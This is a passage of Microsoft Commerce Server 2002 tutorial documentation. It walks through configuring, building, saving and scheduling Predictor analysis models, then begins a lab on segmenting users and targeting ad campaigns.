  7. Click OK.

    Note

    • You are not required to run the Transaction DTS task before you run the Predictor Configuration wizard. However, you must run this DTS task before you build analysis models based upon the Transactions model configuration.

Step 2: Run DTS tasks for the Demographics Model Configuration

  1. On the Task menu, click Profile data import (Commerce Server).
  2. In the Profile Import Properties dialog box, do the following:
    Use this | To do this
    Description | Type Demographics.
    Operation level | Select Site level from the drop-down list.
    Site name | Select PredictorDemo from the drop-down list.
    Import start date | Accept the default date.
    Query interval (mins.) | Accept the default value.
    Incremental | Do not select this option
    Full | Select this option to import all user data.
  3. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retry attempts | Accept the default number of retry attempts of 10 times.
    Seconds between retries | Accept the default time interval of 30 seconds.
  4. Click OK.

Note

  • You must run the User Profile Import Task DTS task in order for the Predictor Model Configuration Setup wizard to work correctly. This DTS task expands the Data Warehouse schema to include all the user profile properties that were predefined in the Predictor Demo site. For more information about adding new properties to the user profile, see Adding Properties to a Profile Definition.

Step 3: Run DTS tasks for the Product Browsing Model Configuration

  1. On the Task menu, click Web server log import (Commerce Server).
  2. In the Import Web Server Logs dialog box, do the following:
    Use this | To do this
    Description | Type Product Browsing.
    Operation level | Select Site level from the drop-down list.
    Site | Select PredictorDemo from the drop-down list
    Number of retry attempts | Accept the default number of retry attempts of 10 times.
    Seconds between retries | Accept the default time interval of 30 seconds.
  3. In the Log File Locations tab, do the following:
    Use this | To do this
    Log file locations | Select the PredictorDemo from the application list.
    Log file path | Type <drive>:\\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\.
    Log Files button | Click to open the Web Server Log Files dialog box. Make sure that the ex010917.log file is selected and then click OK to return to the Import Web Server Logs dialog box.
  4. On the Import Criteria tab, select the All logs since last import option from the list.
  5. Click Advanced.
  6. In the Advanced Web Log Import Properties dialog box, click the Query Strings tab, and then click Add.
  7. In the Query Strings dialog box do the following:
    Use this | To do this
    Name | Type product_id.
    All applications within a site | Do not select this option.
    Selected applications within a site | Select to specify which applications within the site to import the query string for.
    PredictorDemo | Make sure this application is selected.
    PredictorDemoBizDesk (PredictorDem...) | Clear this application, if it is selected.
    Select data type | Select String as the data type.
    Multivalue data type | Do not select this option.
  8. Click OK, and then click Add.
  9. In the Query Strings dialog box do the following:
    Use this | To do this
    Name | Type PageGroupId.
    All applications within a site | Do not select this option.
    Selected applications within a site | Select to specify which applications within the site to import the query string for.
    PredictorDemo | Make sure this application is selected.
    PredictorDemoBizDesk (PredictorDem...) | Clear this application, if it is selected.
    Select data type | Select String as the data type.
    Multivalue data type | Do not select this option.
  10. Click OK.

    Notes

    • The Data Warehouse schema is updated with the necessary changes for the Product Browsing model configuration.
    • Product_id and PageGroupId are standard event-log keywords for product IDs and page-group IDs used by most sites. If your site uses different keywords, you must modify the previous steps appropriately.
  11. In the Import Web Server Logs dialog box, click OK.

    Note

    • You run the Configuration Synchronization task to propagate the changes to the Commerce Admin database.
  12. On the Task menu, click Configuration synchronization (Commerce Server).
  13. In the Synchronize DW Properties dialog box, do the following:
    Use this | To do this
    Description | Accept the default value.
    Operation level | Select Site level from the drop-down list to synchronize a site with the Data Warehouse.
    Site name | Select PredictorDemo from the drop-down list.
  14. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retry attempts | Accept the default number of retry attempts of 10 times.
    Seconds between retries | Accept the default time interval of 30 seconds.
  15. Click OK.

Step 4: Run DTS tasks for the Ad Clicks Model Configuration

  1. On the Task menu, click Campaign data import (Commerce Server).
  2. In the Campaign Import Properties dialog box, do the following:
    Use this | To do this
    Description | Ad Clicks.
    Operation level | Select Site level from the drop-down list.
    Site name | Select PredictorDemo from the drop-down list.
  3. In the Retry Properties section, do the following:
    Use this | To do this
    Number of retry attempts | Accept the default number of retry attempts of 10 times.
    Seconds between retries | Accept the default time interval of 30 seconds.
  4. Click OK.

Step 5: Create a workflow for data import

  1. In the Commerce Server Manager – [DTS Package: <New Package>] screen, select Configuration synchronization, hold down the CTRL key, and then select Demographics (Profile Data Import).
  2. On the Workflow menu, select On Success.
  3. Select Demographics (Profile Data Import), hold down the CTRL key, and then select Product Browsing (Web server log import).
  4. On the Workflow menu, select On Success.
  5. Select Demographics (Profile Data Import), hold down the Ctrl key, and then select Ad Clicks (Campaign data import).
  6. On the Workflow menu, select On Success.
  7. Select Demographics (Profile Data Import), hold down the Ctrl key, and then select Transactions.
  8. On the Workflow menu, select On Success.
  9. On the Package menu, select Auto Layout.

  10. On the Package menu, select Execute. The Executing Package dialog box appears.
  11. In the Package Execution Results dialog box, click OK.
  12. In the Executing Package dialog box, click Done.

Step 6: Run the Predictor Model Configuration Setup wizard

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. Expand Commerce Server Manager, expand Global Resource, expand Predictor on <server name>, expand Predictor Service, right-click Model Configurations, and then select Add Model Configurations.

    The Predictor Model Configuration Setup Wizard Starts.

  3. Click Next.
  4. In the Configuration Selection page, do the following:
    Use this | To do this
    Select the site to setup the model configuration | Select the PredictorDemo site from the drop-down list.
    Select the model configurations you want to setup Make sure the following model configurations are selected:
    • Transactions Model Configuration.
    • Demographics Model Configuration.
    • Combined Transactions and Demographics Model Configuration
    • Product Browsing Model Configuration.
    • Ad Click Model Configuration.
    Use Defaults | Do not click this button. Clicking this button causes the wizard to skip pages where default data is available.
  5. Click Next.
  6. In the Transaction Model Configuration page, do the following:
    Use this | To do this
    Setup Transactions model configuration | Make sure this option is selected.
    Table or View name | Make sure PredictorView_TransactionsPredictorDemo is selected from the drop-down list.
    User ID | Make sure UserID is selected from the drop-down list. This column contains the buyer user data.
    SKU | Make sure SKU is selected from the drop-down list. This column contains stock-keeping unit (SKU) data.
    Quantity | Select QTY from the drop-down list. This column contains the Quantity data.

    Note

    • The Transactions model configuration requires you to define a view that contains a unique identifier for users on your site making a purchase, products purchased, and the quantity of each product purchased during a single transaction.
  7. Click Next.
  8. On the Demographics Model Configuration page, do the following:
    Use this | To do this
    Setup Demographics model configuration | Select this check box to set up a Demographics model configuration.
    Table or view name | Select RegisteredUser from the drop-down list. This table contains the demographic data for sample users.
    User ID Select UserID from the drop-down list. This column contains the user data.

    If you use a different schema, this column must use the same property used for the Transactions model. Any users who appear in the Transactions configuration, but not in Demographics, are not included in the Combined models.
    Age | Select Age from the drop-down list. This column contains the age of the user.
    Occupation | Select Occupation from the drop-down list. This column contains the occupation of the user.
    Marital Status | Clear this option.
    Gender | Clear this option.
    Income | Clear this option.
    Education | Clear this option.
    Children | Clear this option.
    Family Role | Clear this option.
    Region | Clear this option.
  9. Click Next.
  10. In the Product Browsing Model Configuration page, do the following:
    Use this | To do this
    Setup Product Browsing model configuration | Select this check box to setup product browsing model configuration.
    Table or view name | Make sure PredictorView_ProductsPredictorDemo is selected from the drop-down list.
    User ID | Make sure UserKey is selected from the drop-down list. This column contains the browsing user data.
    Page ID | Make sure Page_ID is selected from the drop-down list. This column contains data about page identifiers a user has browsed.
    Page Head Count | Make sure PageHeadCount is selected from the drop-down list. This column contains data about the number of times a user has viewed the page.
    Use Defaults | Do not click this button.

    Note

    • The Product Browsing model configuration requires you to define a view that contains a unique identifier for users on your site browsing product pages, product pages browsed, and the number of times the user has viewed the product page.
    • The Product Browsing model configuration requires you to define a view that contains a unique identifier for: users on your site browsing product pages, product pages browsed, and the number of times the user has viewed the product page.
    • If you have your product browsing data imported into tables other than the default schema (as referenced by PredictorView_AdsPredictorDemo), you must modify the table name to your own table or view.
  11. Click Next.
  12. In the Ad Clicks Model Configuration page, do the following:
    Use this | To do this
    Setup Ad Click model configuration | Select this check box to set up Ad Click model configuration.
    Transaction data | Clear this option.
    Demographic data | Clear this option.
    Product browsing data | Select this check box to use Product browsing data for predicting ad clicks.
    Page groups browsing data | Clear this option.
    Table or view name | Make sure that PredictorView_AdsPredictorDemo is selected from the drop-down list.
    User ID | Make sure that UserKey is selected from the drop-down list. This column contains the User ID data.
    Ad ID | Make sure that Ad_ID is selected from the drop-down list. This column contains data about the ads that were shown or clicked.
    ClicksNum | Make sure Click is selected from the drop-down list. This column contains data about the number of times the ad was clicked by the user. If an ad was shown, but not clicked, the value of ClicksNum should be 0.

    Notes

    • The Ad Clicks model configuration uses the prior configurations as its input, and the ads data as output. The Ad Clicks model predicts whether someone will click on an ad based upon transactional data (items the user has bought), demographics properties, product browsing (the product pages the user had viewed), and page group browsing data.
    • Transactions and Demographics data is only recorded for registered users (using UserID), whereas Product Browsing and Page Group Browsing can be recorded for registered users (using UserID) or all users (using UserKey).
    • If either the Transactions or Demographics data sources are used, then only browsing data logged with UserID are used for building the model.
    • If you have lots of registered users on your site, then it is recommended that you use all data sources. Otherwise, you can just use Product Browsing and/or Page Group Browsing data sources.
  13. Click Finish to exit the Predictor Model Configuration Setup wizard. The model configurations you selected are created and will appear in Commerce Server Manager.


Lab 7: Building Combined Product Browsing and Ad Clicks Analysis Models

In this lab you will build Combined, Product Browsing, and Ad Clicks analysis models.

This lab contains the following steps:

  • Step 1: Build the Combined analysis model
  • Step 2: Build the Product Browsing analysis model
  • Step 3: Build the Ad Clicks analysis model

Important

  • Building the Ad Clicks analysis models may take several hours.

Step 1: Build the Combined analysis model

  1. Click Start, point to Programs, point to Commerce Server 2002, and then click Commerce Server Manager.
  2. In the Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then select Model Configurations.
  3. In the Commerce Server Manager content pane, right-click PredictorDemo_Combined, and then select Build.
  4. In the Build Model Properties dialog box, do the following:
    Use this | To do this
    Name | Type Combined.
    Model type | Select Prediction as an analysis model type to build.
  5. Click Next.
  6. In the Build Model Properties dialog box, in the Measured accuracy sample fraction box, type 0.1, and then click Finish. Wait until the model is successfully built.
  7. In the Models node, right-click Combined, and then select View Model to view the model.

    Combined Analysis Model

Step 2: Build the Product Browsing analysis model

  1. Click Start, point to Programs, point to Commerce Server 2002, and then click Commerce Server Manager.
  2. In the Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then select Model Configurations.
  3. In the Commerce Server Manager content pane, right-click PredictorDemo_ProductBrowsing, and then select Build.
  4. In the Build Model Properties dialog box, do the following:
    Use this | To do this
    Name | Type Product Browsing.
    Model type | Select Prediction as an analysis model type to build.
  5. Click Next.
  6. In the Build Model Properties dialog box, in the Measured accuracy sample fraction box, type 0.1, and then click Finish. Wait until the model is successfully built.
  7. In the Models node, right-click Product Browsing, and then select View Model to view the model.

    Product Browsing Analysis Model

Step 3: Build the Ad Clicks analysis model

  1. Click Start, point to Programs, point to Commerce Server 2002, and then click Commerce Server Manager.
  2. In the Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then select Model Configurations.
  3. In the Commerce Server Manager content pane, right-click PredictorDemo_AdClick, and then select Build.
  4. In the Build Model Properties dialog box, do the following:
    Use this | To do this
    Name | Type Ad Clicks.
    Model type | Select Prediction as an analysis model type to build.
  5. Click Next.
  6. In the Build Model Properties dialog box, in the Measured accuracy sample fraction box, type 0.1, and then click Finish. Wait until the model is successfully built.
  7. In the Models node, right-click Ad Clicks, and then select View Model to view the model.

    Ad Clicks Analysis Model

    Note

    • If you encounter any errors building analysis models in this lab, you can view copies of these models stored at <drive:>\inetpub\wwwroot\predictordemo\predictormodels.


Lab 8: Saving and Importing Analysis Models

You can save analysis models to a file and import saved models into your Data Warehouse using Commerce Server Manager. When you save analysis models to files you eliminate analysis model dependency on the Data Warehouse. You can save analysis models that are used by your Web site on your Web servers or external database, and secure your Data Warehouse by placing it behind a firewall. If your Web site is using an analysis model stored in the Data Warehouse that is not operational or accessible, your site may not operate correctly.

You can also view a saved Prediction model before you import it into your database using the Dependency Network Viewer.

For information about deploying and securing the Predictor, see Deploying Predictor.

This contains the following steps:

  • Step 1: Save an analysis model
  • Step 2: Import an analysis model
  • Step 3: View a saved prediction model

Step 1: Save an analysis model

  1. Click Start, point to Programs, point to Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then select Models.
  3. In the Models content pane, select Transactions, and then click Save model on the toolbar at the bottom of the screen.
  4. In the Save model to a file dialog box, navigate to <drive:>\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\, and then click Save.
  5. In the Saving an analysis model to a file dialog box, click OK.
  6. Using Windows Explorer, navigate to <drive:>\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\, and locate the Transactions.PMF file. The extension PMF stands for Predictor Model File.

Step 2: Import an analysis model

  1. Click Start, point to Programs, point to Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then select Models.
  3. In the Models content pane click Import model on the toolbar at the bottom of the screen.
  4. In the Import model from file dialog box, do the following:
    Use this | To do this
    File name Click Browse.

    In the Import model from file dialog box, navigate to <drive:>\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\, select Transactions.PMF file from the list, and then click Open.
    Model name | Type ImportedTransactions.
    Destination data warehouse | Select the name of the data warehouse that is associated with the Predictor Demo Site.
    Model configuration | From the drop-down list, select PredictorDemo_Transactions.
  5. Click OK.

Note

  • The import process uses the API exposed by the PredictorClient object using the LoadModelFromFile functions. For more information about the PredictorClient object, see PredictorClient Object.

Step 3: View a saved prediction model

  1. Using Windows Explorer, navigate to <drive:>\Program Files\Microsoft Commerce Server 2002\, and then double-click DnetViewer. The Dependency Net Viewer application starts.
  2. In the File menu, click Open.
  3. In the Open model file dialog box, navigate to <drive:>\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\, select Transactions.PMF, and then click Open. The model should appear in the Dependency Net Viewer.

Note

  • You use the Dependency Net Viewer to view Prediction models only, and you use the Segment Viewer in Business Desk to view Segment models.


Lab 9: Providing Recommendations for Product Browsing

Using the Product Browsing model you can provide real-time product recommendations to browse on your site as users shop for products (cross-browse). The Predictor model built from the Product Browsing model configuration predicts what product a user might be interested in based upon the browsing pattern of the user. The model then displays the recommended product on the product pages.

For demonstration purposes, a pre-built model is provided at:

<drive:>\inetpub\wwwroot\predictordemo\predictormodels\productbrowsing.pmf.

The sample Product Browsing model is implemented for the Predictor Demo site. In this example, user browsing activity is recorded only for registered users. In order to see cross-browse recommendations you must login to the site as a registered user. You may need to register first.

Step 1: To view cross-browse recommendations

  1. Start Internet Explorer, and then go to http://localhost/predictordemo to visit your Predictor Demo site.

    Note

    • If the Predictor Demo site fails to load, try doing a site refresh by clicking Refresh from the toolbar.
  2. On the Predictor Demo site, in the Categories list, click Internet Technologies, click Internet & Intranet Servers, and then click Site Server 3.0, Commerce Edition from the list.
  3. On the Site Server 3.0, Commerce Edition Product page, scroll down to the very bottom of the page to view the cross-browse product recommendations.


Lab 10: Automating Site Operations

In this lab you will learn how to use the Model Builder Data Transformation Services (DTS) task to schedule data import from your Commerce Server databases into the Data Warehouse. The Model Builder DTS task allows users to schedule rebuilds of models, assuring that models will be built even if failovers occur during the build (for example, database or Predictor service failures). The Model Builder DTS task should be run after manually configuring the Predictor resource.

You use the Predictor resource to build analysis models manually before you use the Model Builder task to rebuild models. After you build a model manually using the Predictor resource, you can use the Model Builder task to schedule automatic rebuilding of the analysis model. For more information about manually configuring the Predictor resource, see Configuring the Predictor Resource.

The frequency of updating analysis models depends upon the amount of new data being collected in the Commerce Server databases and Web logs (for example, if there is a significant change in your users and users behavior, product catalogs, or marketing campaigns). Each time an analysis model is built, it is based on the data currently in the Data Warehouse. It is important to import new data into the Data Warehouse.

You should re-build analysis models on a regular basis to maximize business value and the effectiveness of the Predictor resource.

Note

  • Build one analysis model at a time. If you schedule two or more models to be built simultaneously, the DTS task will fail. To schedule building multiple models, you must schedule them to run one after another.

Step 1: Configuring the Model Builder DTS Task

  1. Click Start, point to Programs, point to Commerce Server 2002, and then click Commerce Server Manager
  2. Expand Microsoft SQL Server, expand SQL Server Group, and then expand the server on which your Data Warehouse is installed.
  3. Right-click Data Transformation Services, and then click New Package.

    Alternatively, if you are changing an existing package, right-click Data Transformation Services, click All Tasks, and then select Open Package. Select the package you want to change, and then click Open.

  4. On the Task menu, click Model Builder (Commerce Server).
  5. In the Model Builder Properties dialog box, do the following:
    Use this | To do this
    Description | Type Rebuild the Transactions model from the Predictor Demo site.
    Source type Select Site from the drop-down list.

    You use the Site option to update only the selected site, and the Data Warehouse option to update all the sites sharing the same Data Warehouse. You use the same analysis models for all of them.
    Site name | Select PredictorDemo from the drop-down list.
    Model to rebuild Select Transactions model from the drop-down list.

    Multiple models with the same name can reside in the same Data Warehouse provided they originate from different sites.

    The Model Builder DTS task provides an option to archive the old analysis model when rebuilding it. Using archived analysis models you can analyze differences between new and old models to identify changes in user behavior trends. An archived analysis model can also serve as a backup when the current model is unusable. You can archive analysis models by names, version, or date.

  6. In the Archive properties section, do the following:
    Use this | To do this
    Archive current model Select this check box to archive the analysis model.

    If you do not select this option, your existing analysis model will be overwritten.
    Archived model name suffix | Select Date of rebuild, Version number, or Custom archive name from the drop-down list.
    Archived model name | If you selected Version number, the archived model name would be Transactions.0, and future incremental archives would be Transactions.1, Transactions.2, and so forth.
  7. In the Retry properties section, do the following:
    Use this | To do this
    Number of retry attempts | Accept the default number of retry attempts of 10 times.
    Seconds between retries | Accept the default time interval of 30 seconds.
  8. Click OK.
  9. On the Package menu, click Execute.

    The Executing Package dialog box appears, showing the progress of your import. When the import process is complete, the Package Execution Results dialog box informs you it completed successfully.

  10. Click OK, and then click Done.

The specified analysis model is rebuilt with current data from the Data Warehouse.


Lab 11: Using the Predictor Resource for Data Mining

Commerce Server 2002 provides the Model Configuration Setup Wizard to create model configurations for specific data mining tasks. However, if your data mining business needs are not met by model configurations automatically created, you can create a custom model configuration by manually modifying predictor data tables.

In this lab, you will learn how to create a new custom model configuration and a new model by manually editing the predictor tables.

Step 1: Declare a new Model Configuration in the PredictorModelCfg Table

Step 2: Input Metadata in the PredictorDataTables Table

Step 3: Build the View for the PredictorDataTables Table

Step 4: Build the Custom Demographics Model

Step 5: View the Custom Demographics Model

Step 6: Configure Prediction Parameters

Step 7: Rebuild the Custom Demographics Model

Step 8: View the Rebuilt Custom Demographics Model


Step 1: Declare a new Model Configuration in the PredictorModelCfg Table

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. Expand Microsoft SQL Servers, expand SQL Server Group, expand <server name>, expand Databases, expand PredictorDemo_dw, and then click Tables.
  3. From the Tables list, right-click the PredictorModelCfgs table, point to Open Table, and then click Return all Rows.
  4. In the SQL Server Enterprise Manager – [Data in Table ‘PredictorModelCfgs’ in ‘PredictorDemo_dw’ on ‘<server name>’] window, click the last row marked by *, and then do the following:
    Use this | To do this
    ModelCfgName | Type Demographics.
    SiteName | Type PredictorDemo.

    This step declares Demographics as a new model configuration for the PredictorDemo site.

  5. Close the SQL Server Enterprise Manager – [Data in Table ‘PredictorModelCfgs’ in ‘PredictorDemo_dw’ on ‘<server name>’] window. (Do not close the SQL Server Enterprise Manager.)


Step 2: Input Metadata in the PredictorDataTables Table

You use the PredictorDataTables table to enter metadata about the new model configuration that you are about to create.

  1. From the Tables list, right-click the PredictorDataTables table, point to Open Table, and then click Return all Rows.
  2. In the SQL Server Enterprise Manager – [Data in Table ‘PredictorDataTables’ in ‘PredictorDemo_dw’ on ‘<server name>’] window, click the last row marked by *, and then do the following:
    Use this | To do this
    ModelCfgName | Type Demographics.
    TableName Type UsersInfo.

    The TableName indicates the data source for the predictions. You can use one of the tables that you already have in the DemoPredictor_dw database, or create and use a view that can combine data from different tables for a more advanced scenario. You will create a new view based on the RegisteredUser table.
    Type Type 0.

    The type can be 0, 1, or 2.

    Type 0 indicates the table to be a dense table. A dense table contains only one row for each unique identifier (for example, user id). This type is generally the case for a table containing user demographic data.

    Type 1 indicates the table to be a sparse table. A sparse table always contains three columns: one each for case id, property id, and property value. A sparse table typically contains multiple rows for a single case. Transactional data is often stored in this format, containing entries of the form ( for example, buyer id, product id, and number of products purchased). In this scenario, the same buyer id is likely to appear in more than one row.

    Type 2 indicates an attributes table, which will be discussed later in the lab.
    CaseColumn Type UserID.

    A case column is used to identify the column containing the case id, which is usually the userid.

    PivotColumn Leave this column blank.

    PivotColumn is used for sparse (type 1) models containing the property names.
    AggregateColumn Leave this selection blank

    PivotColumn is used for sparse (type 1) models containing the property values.
    AggregateOperation Leave this column blank.

    PivotColumn is used for sparse (type 1) models.

    AggregateOperation indicates the type of operation defined for the AggregateColumn.

    The AggregateOperation can be one of the following values: 0=SUM, 1=MAX, 2=MIN, 3=AVG, 4=COUNT.

    For example, if your table contains an aggregation column describing the number of a particular product purchased by a particular user, and you are interested in the total number of each product purchased by each user, then you should use the SUM (0) aggregation.

    If your table contains an aggregation column describing the price of the product purchased by a particular user, and you are interested in the total number of each product purchased by each user, then you should use the COUNT (4) aggregation.
  3. Close the SQL Server Enterprise Manager – [Data in Table ‘PredictorDataTables’ in ‘PredictorDemo_dw’ on ‘<server name>’] window.

Note

  • There are several restrictions on how tables can be used in a model configuration:
    • For a given model configuration, there must be at least one dense (type 0) or sparse (type 1) source data table.
    • Only one dense table is allowed, but there can be multiple sparse tables.
    • If there is one dense table, then every item (for example, user) in the table defines a case.
    • Items in sparse tables that do not appear in the dense table are not included in the analysis.
    • If a configuration contains only sparse tables, the table first mentioned is used to define the items in the case. Also, any given property should be referenced in only one table.


Step 3: Build the View for the PredictorDataTables Table

After you enter the metadata for the PreditorDataTable table, you create a view of the data to be analyzed.

  1. In the SQL Server Enterprise Manager window, in the navigation pane, in the PredictorDemo_dw database, right-click views, and then click New View.
  2. In the SQL Server Enterprise Manager – [New View in ‘PredictorDemo_dw’ on ‘<server name>’] window, replace SELECT and FROM with: SELECT Age, Occupation, UserID FROM dbo.registeredUser.
  3. Click Save from the toolbar.
  4. In the Save As dialog box, in the Save this view as box, type UsersInfo, and then click OK.
  5. Close the SQL Server Enterprise Manager.


Step 4: Build the Custom Demographics Model

After you have created the view, you can build the custom Demographics model.

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then select Model Configurations.

    Your custom Demographics model configuration should appear in the model configurations list.

  3. In the Commerce Server Manager content pane, right-click Demographics, and then select Build.
  4. In the Model Build Properties dialog box, do the following:
    Use this | To do this
    Name | Type Demographics1.
    Model type | Select Prediction as the analysis model type.
  5. Click Next.
  6. In the Build Model Properties dialog box, in the Measured accuracy sample fraction box, type 0.1, and then click Finish.

Wait until the model is successfully built.


Step 5: View the Custom Demographics Model

After you have built the custom demographics model, you view the model using the Model Viewer.

  1. In Models, right-click the Demographics1 predictor model, and then click View Model.
  2. In the Model Viewer, double-click the Age node.
  3. In the Decision Tree for Age window, note the following:

    Decision Tree for Age

  • Age is a single leaf.
  • Occupation is not predicting age because the distribution for the Age property is currently being incorrectly guessed as "model as binary".

    The flag model as binary indicates that the only important distinction to be made about a property is whether it is present or missing. Often, transactional properties are modeled as binary (for example, products purchased are modeled as binary when it matters only to know if a product was purchased or not), whereas demographic properties should usually not be set that way.

You set the correct distribution for the Age property in Step 6: Configure Prediction Parameters.


Step 6: Configure Prediction Parameters

You can modify the tables used by the Predictor resource to customize prediction parameters.

In this lab, you will learn how to modify the PredictorAttributes_Demographics table.

The PredictorAttributes_Demographics table is created when you build a new model for the first time. The table is empty with no rows and all the default values are enabled. A row in this table contains either a change in the attributes of one property in a dense table, or a change in the attributes of all properties in a sparse table.

  1. Click Start, point to Programs, point to Microsoft SQL Server, and then click Enterprise Manager.
  2. Expand Microsoft SQL Servers, expand SQL Server Group, expand <server name>, expand Databases, expand PredictorDemo_dw, and then click Tables.
  3. From the Tables list, right-click the PredictorAttributes_Demographics table, point to Open Table, and then click Return all Rows.
  4. In the SQL Server Enterprise Manager – [Data in Table ‘PredictorAttributes_Demographics’ in ‘PredictorDemo_dw’ on ‘<server name>’] window, click the last row marked by *, and then do the following:
    Use this | To do this
    PropID Leave this column blank.

    This column holds a sequential number and will be filled in automatically
    ParentID Type –1.

    This column will let the Predictor resource change the attributes of a property or the entire table.
    Name Type Age.

    This column will let the Predictor resource change the attributes of the property Age.
    TableName | Leave this column blank.
    ColumnName | Leave this column blank.
    Distribution Type 1.

    A null value (if Distribution left blank) tells the system to guess the distribution type for the property Age. In this example, the system guesses that the distribution type for Age is continuous, model as binary.

    Value 1 tells the system to use distribution type normal instead, not model as binary.

    The flag model as binary indicates that the only important distinction to be made about a property is whether it is present or missing. Often, transactional properties are modeled as binary (for example, products purchased are modeled as binary when it matters only to know if a product was purchased or not), whereas demographic properties should usually not be set that way. (The system incorrectly guesses model as binary for Age in this example because there are many missing values.)

    The possible distribution types are:

    • 0: Discrete, Not Model As Binary,
    • 1: Normal, Continuous, Not Model As Binary
    • 2: LogNormal, Continuous, Not Model As Binary
    • 3: not valid
    • 4: Discrete, Model As Binary
    • 5: Normal, Continuous, Model As Binary
    • 6: Lognormal, Continuous, Model As Binary
    • 7: not valid
    • 8: model as advertisement
    • <Null>: Autodetect (the system guesses for you)
    UseToPredict Type 1.

    This selection will let the Predictor resource consider Age when building decision trees for other properties.

    The value UseToPredict is typically set to 1, but you can set it to 0 to prevent the property from being used for prediction. Setting the value to 0 is useful when you know the property will not be available for predictions.

    Predict Type 1 to have the Predictor resource build a decision tree for predicting Age.

    If this column is set to 0, a decision tree will not be built.
  5. Close the SQL Server Enterprise Manager.


Step 7: Rebuild the Custom Demographics Model

After you have made changes to the model attributes, rebuild it.

  1. Click Start, point to Programs, point to Microsoft Commerce Server 2002, and then click Commerce Server Manager.
  2. In Commerce Server Manager, expand Commerce Server Manager, expand Global Resources, expand Predictor on <server name>, expand Predictor Service, and then select Models.
  3. In Models, right-click the Demographics1 predictor model, and then click Rebuild.
  4. In the Model Build Properties dialog box, in the Name box, type Demographics2, and then click Next.
  5. Click Finish to rebuild the model.


Step 8: View the Rebuilt Custom Demographics Model

After you have rebuilt the custom demographics model, you view the model using the Model Viewer.

  1. In Models, right-click the Demographics2 predictor model, and then click View Model.
  2. In the Model Viewer, double-click the Age node.
  3. In the Decision Tree for Age window, note the following:

Age (when not modeled as binary) is now predicted by Occupation.


Closing the Loop with Commerce Server Systems

This is a tutorial for closing the loop with Commerce Server Business Analytics, Targeting, and Profiling Systems.

You use the Microsoft Commerce Server 2002 Business Analytics system to collect data, analyze data, run reports, and make predictions. With the Commerce Server Targeting system, you can personalize content and target marketing campaigns to users who visit your Web site. Commerce Server Profiling system to profile and manage your customers and trading partners for site usage and personalization.

Following are key features of the Business Analytics, Targeting, and Profiling Systems.

Business Analytics System Targeting System
Profiling System
  • Manage millions of users and organizations.
  • Enable users to manage their own profile information and to research the status of their order.
  • Build profiles for any business-related entity, such as users or organizations.
  • Determine what information to collect about the users visiting your site.
  • Determine what information to display to specific users, such as virtual catalogs.
  • Analyze profile information to determine who is visiting your site.
  • Create target expressions to match content to users.
  • Create advertising, discount, and direct mail campaigns to target specific user groups.
Business Analytics System
  • Import large amounts of site usage data collected from different data sources into the Commerce Server Data Warehouse, and manage the data.
  • Analyze site effectiveness by running Commerce Server reports, or by creating your own custom reports.
  • Identify specific groups of users by running a report, and then export the results to a list. Use the list in a direct mail campaign, or to update the properties of the users so you can target merchandise or content to them.
  • Review collected data to identify hidden trends and new customer segments, and to view the properties of the segments.
  • Provide intelligent cross-sell capabilities, and dynamically recommend products to users as they navigate your site.
Targeting System
  • Personalize the buying experience with targeted merchandising.
  • Deliver the optimal content for a given user in a given context.
  • Create, analyze, and manage personalized and targeted discounts, and direct marketing and advertising campaigns.
  • Add predictive capabilities to your Web site.
  • Target ads or discounts to users of a specific profile. For example, you can target ads to female users who visit your site three times a week, and who have purchased three or more products.
  • Create and schedule campaigns for customers who compete within the same industry. The competing ads are never shown on the same page.
  • Charge your advertising customers based on the number of ad requests or clicks they want their ads to receive.
  • Charge your advertising customers based upon the page on which they want their ad to appear.

When you use the segmentation functionality of the Predictor resource to group users who exhibit similar patterns, you can more effectively target marketing campaigns to those users who are more likely to buy products.

Scenario:

You are a software retailer, and want to increase sales for your products. Instead of displaying random ads to everyone who logs on to your Web site, you want to create a smart ad campaign and target only those users who are more likely to buy the products. For example, you want to target an ad for Commerce Server 2002 to customers who have bought Web development software before and are likely to be Web developers by profession.

In this tutorial, you will do the following:

  1. Import Web log data into your Data Warehouse.
  2. Build a Segment model.
  3. Use Business Desk to analyze segments.
  4. Identify a group of Web Developers on your Web site.
  5. Export the group of users identified as Web Developers to the List Manager.
  6. Create a custom profile property, and associate the custom profile property with all the users identified as Web Developers.
  7. Create a campaign expression for Web Developers.
  8. Create a Target Group so that only Web Developers are targeted by related ads.
  9. Create an Ad campaign for Commerce Server 2002
  10. Log in as a member of the Web Developer user list to verify that your ad campaign is working.

This tutorial contains:

  • Lab 1: Preparing for the Tutorial
  • Lab 2: Importing Data into the Data Warehouse
  • Lab 3: Building a Segment Model
  • Lab 4: Analyzing the Segment Model
  • Lab 5: Mapping a Custom Profile Property to the List of Users
  • Lab 6: Creating a Campaign Expression
  • Lab 7: Creating an Ad Campaign
  • Lab 8: Verifying your Ad Campaign


Lab 1: Preparing for the Tutorial

We will be using the sample data provided in the Predictor Tutorial. If you have not already done so, you need to perform the following preparatory tasks before you begin the tutorial.

  • Step 1: Edit the Populate.sql File
  • Step 2: Unpack the Predictor Demo Site
  • Step 3: Install the Predictor Demo Business Desk Application


Step 1: Edit the Populate.sql File

  1. Using Windows Explorer, navigate to <drive:>\Program Files\Microsoft Commerce Server 2002\Predictor Tutorial\, and then open the populate.sql file in Notepad.
